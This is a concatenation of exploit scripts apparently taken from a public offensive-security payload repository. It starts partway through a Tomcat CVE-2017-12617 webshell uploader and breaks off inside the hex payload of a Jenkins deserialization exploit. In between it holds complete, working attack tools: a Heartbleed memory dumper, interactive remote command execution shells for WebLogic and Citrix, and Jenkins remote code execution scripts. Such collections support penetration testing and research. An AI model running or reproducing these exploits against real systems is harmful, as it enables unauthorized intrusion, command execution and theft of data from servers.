opt.U!=None and opt.P==None and opt.L==None: print(bcolors.OKGREEN+banner+bcolors.ENDC) url=str(opt.U) checker="Poc.jsp" print(bcolors.BOLD +"Poc Filename {}".format(checker)) createPayload(str(url)+"/",checker) con=getContent(str(url)+"/",checker) if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: print(bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC) print(bcolors.WARNING+url+"/"+checker+bcolors.ENDC) else: print('Not Vulnerable to CVE-2017-12617 ') elif opt.P!=None and opt.U!=None and opt.L==None: print(bcolors.OKGREEN+banner+bcolors.ENDC) pwn=str(opt.P) url=str(opt.U) print("Uploading Webshell .....") pwn=pwn+".jsp" RCE(str(url)+"/",pwn) shell(str(url),pwn) elif opt.L!=None and opt.P==None and opt.U==None: print(bcolors.OKGREEN+banner+bcolors.ENDC) w=str(opt.L) f=open(w,"r") print("Scaning hosts in {}".format(w)) checker="Poc.jsp" for i in f.readlines(): i=i.strip("\n") createPayload(str(i)+"/",checker) con=getContent(str(i)+"/",checker) if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Heartbleed CVE-2014-0160.py
CVE Exploits/Heartbleed CVE-2014-0160.py
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. # Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin) from __future__ import print_function from builtins import str from builtins import range import sys import struct import socket import time import select import re from optparse import OptionParser import smtplib options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)') options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)') options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true') options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hbv10 = h2bin(''' 18 03 01 00 03 01 40 00 ''') hbv11 = h2bin(''' 18 03 02 00 03 01 40 00 ''') hbv12 = h2bin(''' 18 03 03 00 03 01 40 00 ''') def hexdump(s, dumpf, quiet): dump = open(dumpf,'a') dump.write(s) dump.close() if quiet: return for b in range(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print(' %04x: %-48s %s' % (b, hxdat, pdat)) print() def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: if not rdata: return None else: return rdata r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print('Unexpected EOF receiving record header - server closed connection') return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print('Unexpected EOF receiving record payload - server closed connection') return None, None, None print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))) return typ, ver, pay def hit_hb(s, dumpf, host, quiet): while True: typ, ver, pay = recvmsg(s) if typ is None: print('No heartbeat response received from '+host+', server likely not vulnerable') return False if typ == 24: if not quiet: print('Received heartbeat response:') hexdump(pay, dumpf, quiet) if len(pay) > 3: print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!') else: print('Server '+host+' processed malformed heartbeat, but did not return any extra data.') return True if typ == 21: if not quiet: print('Received alert:') hexdump(pay, dumpf, quiet) print('Server '+ host +' returned error, likely not vulnerable') return False def connect(host, port, quiet): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if not quiet: print('Connecting...') sys.stdout.flush() s.connect((host, port)) return s def tls(s, quiet): if not quiet: print('Sending Client Hello...') sys.stdout.flush() s.send(hello) if not quiet: print('Waiting for Server Hello...') sys.stdout.flush() def parseresp(s): while True: typ, ver, pay = recvmsg(s) if typ == None: print('Server closed connection without sending Server Hello.') return 0 # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: return ver def check(host, port, dumpf, quiet, starttls): response = False if starttls: try: s = smtplib.SMTP(host=host,port=port) s.ehlo() s.starttls() except smtplib.SMTPException: print('STARTTLS not supported...') s.quit() return False print('STARTTLS supported...') s.quit() s = connect(host, port, quiet) s.settimeout(1) try: re = s.recv(1024) s.send('ehlo starttlstest\r\n') re = s.recv(1024) s.send('starttls\r\n') re = s.recv(1024) except socket.timeout: print('Timeout issues, going ahead anyway, but it is probably broken ...') tls(s,quiet) else: s = connect(host, port, quiet) tls(s,quiet) version = parseresp(s) if version == 0: if not quiet: print("Got an error while parsing the response, bailing ...") return False else: version = version - 0x0300 if not quiet: print("Server TLS version was 1.%d\n" % version) if not quiet: print('Sending heartbeat request...') sys.stdout.flush() if (version == 1): s.send(hbv10) response = hit_hb(s,dumpf, host, quiet) if (version == 2): s.send(hbv11) response = hit_hb(s,dumpf, host, quiet) if (version == 3): s.send(hbv12) response = hit_hb(s,dumpf, host, quiet) s.close() return response def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return print('Scanning ' + args[0] + ' on port ' + str(opts.port)) for i in range(0,opts.num): check(args[0], opts.port, opts.file, opts.quiet, opts.starttls) if __name__ == '__main__': main()
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/WebLogic CVE-2017-10271.py
CVE Exploits/WebLogic CVE-2017-10271.py
from __future__ import print_function from builtins import input import requests import sys url_in = sys.argv[1] payload_url = url_in + "/wls-wsat/CoordinatorPortType" payload_header = {'content-type': 'text/xml'} def payload_command (command_in): html_escape_table = { "&": "&amp;", '"': "&quot;", "'": "&apos;", ">": "&gt;", "<": "&lt;", } command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>" payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \ " <soapenv:Header> " \ " <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \ " <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \ " <void class=\"java.lang.ProcessBuilder\"> \n" \ " <array class=\"java.lang.String\" length=\"3\">" \ " <void index = \"0\"> " \ " <string>cmd</string> " \ " </void> " \ " <void index = \"1\"> " \ " <string>/c</string> " \ " </void> " \ " <void index = \"2\"> " \ + command_filtered + \ " </void> " \ " </array>" \ " <void method=\"start\"/>" \ " </void>" \ " </java>" \ " </work:WorkContext>" \ " </soapenv:Header>" \ " <soapenv:Body/>" \ "</soapenv:Envelope>" return payload_1 def do_post(command_in): result = requests.post(payload_url, payload_command(command_in ),headers = payload_header) if result.status_code == 500: print("Command Executed \n") else: print("Something Went Wrong \n") print("***************************************************** \n" \ "**************** Coded By 1337g ****************** \n" \ "* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \ "***************************************************** \n") while 1: command_in = input("Eneter your command here: ") if command_in == "exit" : exit(0) do_post(command_in)
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Citrix CVE-2019-19781.py
CVE Exploits/Citrix CVE-2019-19781.py
#!/usr/bin/env python # https://github.com/mpgn/CVE-2019-19781 # # # import requests import string import random import re import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway") print("Found by Mikhail Klyuchnikov") print("") if len(sys.argv) < 2: print("[-] No URL provided") sys.exit(0) while True: try: command = input("command > ") random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12)) print("[+] Adding bookmark", random_xml + ".xml") burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl" burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" + random_xml, "NSC_NONCE": "c", "Connection": "close"} burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"} r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False) if r.status_code == 200: print("[+] Bookmark added") else: print("\n[-] Target not vulnerable or something went wrong") sys.exit(0) burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml" burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" + random_xml, "NSC_NONCE": "c", "Connection": "close"} r = requests.get(burp0_url, headers=burp0_headers,verify=False) replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE) print("[+] Result of the command: \n") print(replaced) except KeyboardInterrupt: print("Exiting...") break
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Jenkins CVE-2016-0792.py
CVE Exploits/Jenkins CVE-2016-0792.py
#! /usr/bin/env python2 #Jenkins Groovy XML RCE (CVE-2016-0792) #Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins #Made with <3 by @byt3bl33d3r from __future__ import print_function import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import argparse import sys parser = argparse.ArgumentParser() parser.add_argument('target', type=str, help='Target IP:PORT') parser.add_argument('command', type=str, help='Command to run on target') parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)') if len(sys.argv) < 2: parser.print_help() sys.exit(1) args = parser.parse_args() if len(args.target.split(':')) != 2: print('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: print('[-] You must specify a command to run') sys.exit(1) ip, port = args.target.split(':') print('[*] Target IP: {}'.format(ip)) print('[*] Target PORT: {}'.format(port)) xml_formatted = '' command_list = args.command.split() for cmd in command_list: xml_formatted += '{:>16}<string>{}</string>\n'.format('', cmd) xml_payload = '''<map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando" reference="../../../.."/> <owner class="java.lang.ProcessBuilder"> <command> {} </command> <redirectErrorStream>false</redirectErrorStream> </owner> <resolveStrategy>0</resolveStrategy> <directive>0</directive> <parameterTypes/> <maximumNumberOfParameters>0</maximumNumberOfParameters> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>1</int> </entry> </map>'''.format(xml_formatted.strip()) print('[*] Generated XML payload:') print(xml_payload) print() print('[*] Sending payload') headers = {'Content-Type': 'text/xml'} r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload) paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml'] if r.status_code == 500: for path in paths_in_trace: if path in r.text: print('[+] Command executed successfully') break
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Jenkins CVE-2015-8103.py
CVE Exploits/Jenkins CVE-2015-8103.py
#! /usr/bin/env python2 #Jenkins CLI RMI Java Deserialization RCE (CVE-2015-8103) #Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits) #Made with <3 by @byt3bl33d3r from __future__ import print_function import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import socket import sys import base64 import argparse import os from subprocess import check_output ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar'] ysoserial_path = None parser = argparse.ArgumentParser() parser.add_argument('target', type=str, help='Target IP:PORT') parser.add_argument('command', type=str, help='Command to run on target') parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)') parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)') if len(sys.argv) < 2: parser.print_help() sys.exit(1) args = parser.parse_args() if not args.ysoserial_path: for path in ysoserial_default_paths: if os.path.exists(path): ysoserial_path = path else: if os.path.exists(args.ysoserial_path): ysoserial_path = args.ysoserial_path if ysoserial_path is None: print("[-] Could not find ysoserial JAR file") sys.exit(1) if len(args.target.split(':')) != 2: print('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: print('[-] You must specify a command to run') sys.exit(1) host, port = args.target.split(':') print('[*] Target IP: {}'.format(host)) print('[*] Target PORT: {}'.format(port)) print('\n') print('[*] Retrieving the Jenkins CLI port') #Query Jenkins over HTTP to find what port the CLI listener is on r = requests.get('{}://{}:{}'.format(args.proto, host, port)) cli_port = int(r.headers['X-Jenkins-CLI-Port']) #Open a socket to the CLI port sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (host, cli_port) print('[*] Connecting to Jenkins CLI on {}:{}'.format(host, cli_port)) sock.connect(server_address) # Send headers headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74' print('[*] Sending headers') sock.send(headers) data = sock.recv(1024) print('[*] Received "{}"'.format(data)) if data.find('JENKINS REMOTING CAPACITY') == -1: data = sock.recv(1024) print('[*] Received "{}"'.format(data)) payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections3', args.command]) payload_b64 = base64.b64encode(payloadObj) payload='\x3c\x3d\x3d\x3d\x5b\x4a\x45\x4e\x4b\x49\x4e\x53\x20\x52\x45\x4d\x4f\x54\x49\x4e\x47\x20\x43\x41\x50\x41\x43\x49\x54\x59\x5d\x3d\x3d\x3d\x3e'+payload_b64+'\x00\x00\x00\x00\x11\x2d\xac\xed\x00\x05\x73\x72\x00\x1b\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x4c\x00\x10\x63\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x50\x72\x6f\x78\x79\x74\x00\x30\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x3b\x5b\x00\x07\x72\x65\x71\x75\x65\x73\x74\x74\x00\x02\x5b\x42\x4c\x00\x08\x74\x6f\x53\x74\x72\x69\x6e\x67\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x49\x00\x02\x69\x64\x49\x00\x08\x6c\x61\x73\x74\x49\x6f\x49\x64\x4c\x00\x08\x72\x65\x73\x70\x6f\x6e\x73\x65\x74\x00\x1a\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x73\x70\x6f\x6e\x73\x65\x3b\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x09\x63\x72\x65\x61\x74\x65\x64\x41\x74\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3b\x78\x70\x73\x72\x00\x1e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x24\x53\x6f\x75\x72\x63\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x06\x74\x68\x69\x73\x24\x30\x74\x00\x19\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x43\x6f\x6d\x6d\x61\x6e\x64\x3b\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02\x00\x00\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x03\x5b\x00\x0a\x73\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73\x74\x3b\x78\x70\x71\x00\x7e\x00\x10\x70\x75\x72\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x78\x70\x00\x00\x00\x0c\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x03\x4c\x00\x08\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x03\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x03\x78\x70\x00\x00\x00\x43\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x74\x00\x0c\x43\x6f\x6d\x6d\x61\x6e\x64\x2e\x6a\x61\x76\x61\x74\x00\x06\x3c\x69\x6e\x69\x74\x3e\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x32\x71\x00\x7e\x00\x15\x71\x00\x7e\x00\x16\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x63\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x74\x00\x0c\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x3c\x74\x00\x1b\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x74\x00\x10\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x03\x08\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x68\x61\x6e\x6e\x65\x6c\x74\x00\x0c\x43\x68\x61\x6e\x6e\x65\x6c\x2e\x6a\x61\x76\x61\x74\x00\x04\x63\x61\x6c\x6c\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xfa\x74\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x74\x00\x1c\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x2e\x6a\x61\x76\x61\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x24\x50\x72\x6f\x78\x79\x31\x70\x74\x00\x0f\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x74\x00\x15\x77\x61\x69\x74\x46\x6f\x72\x52\x65\x6d\x6f\x74\x65\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x74\x00\x0e\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x74\x00\x08\x43\x4c\x49\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x74\x00\x1f\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x19\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x2e\x6a\x61\x76\x61\x74\x00\x07\x63\x6f\x6e\x6e\x65\x63\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x74\x00\x05\x5f\x6d\x61\x69\x6e\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x74\x00\x04\x6d\x61\x69\x6e\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69\x73\x74\x71\x00\x7e\x00\x0f\x78\x72\x00\x2c\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x78\x70\x00\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x3c\x78\x71\x00\x7e\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x70\x73\x7d\x00\x00\x00\x02\x00\x2e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x00\x1c\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x49\x52\x65\x61\x64\x52\x65\x73\x6f\x6c\x76\x65\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x78\x70\x73\x72\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x05\x5a\x00\x14\x61\x75\x74\x6f\x55\x6e\x65\x78\x70\x6f\x72\x74\x42\x79\x43\x61\x6c\x6c\x65\x72\x5a\x00\x09\x67\x6f\x69\x6e\x67\x48\x6f\x6d\x65\x49\x00\x03\x6f\x69\x64\x5a\x00\x09\x75\x73\x65\x72\x50\x72\x6f\x78\x79\x4c\x00\x06\x6f\x72\x69\x67\x69\x6e\x71\x00\x7e\x00\x0d\x78\x70\x00\x00\x00\x00\x00\x02\x00\x73\x71\x00\x7e\x00\x0b\x71\x00\x7e\x00\x43\x74\x00\x78\x50\x72\x6f\x78\x79\x20\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x40\x32\x20\x77\x61\x73\x20\x63\x72\x65\x61\x74\x65\x64\x20\x66\x6f\x72\x20\x69\x6e\x74\x65\x72\x66\x61\x63\x65\x20\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x75\x71\x00\x7e\x00\x11\x00\x00\x00\x0d\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x7d\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x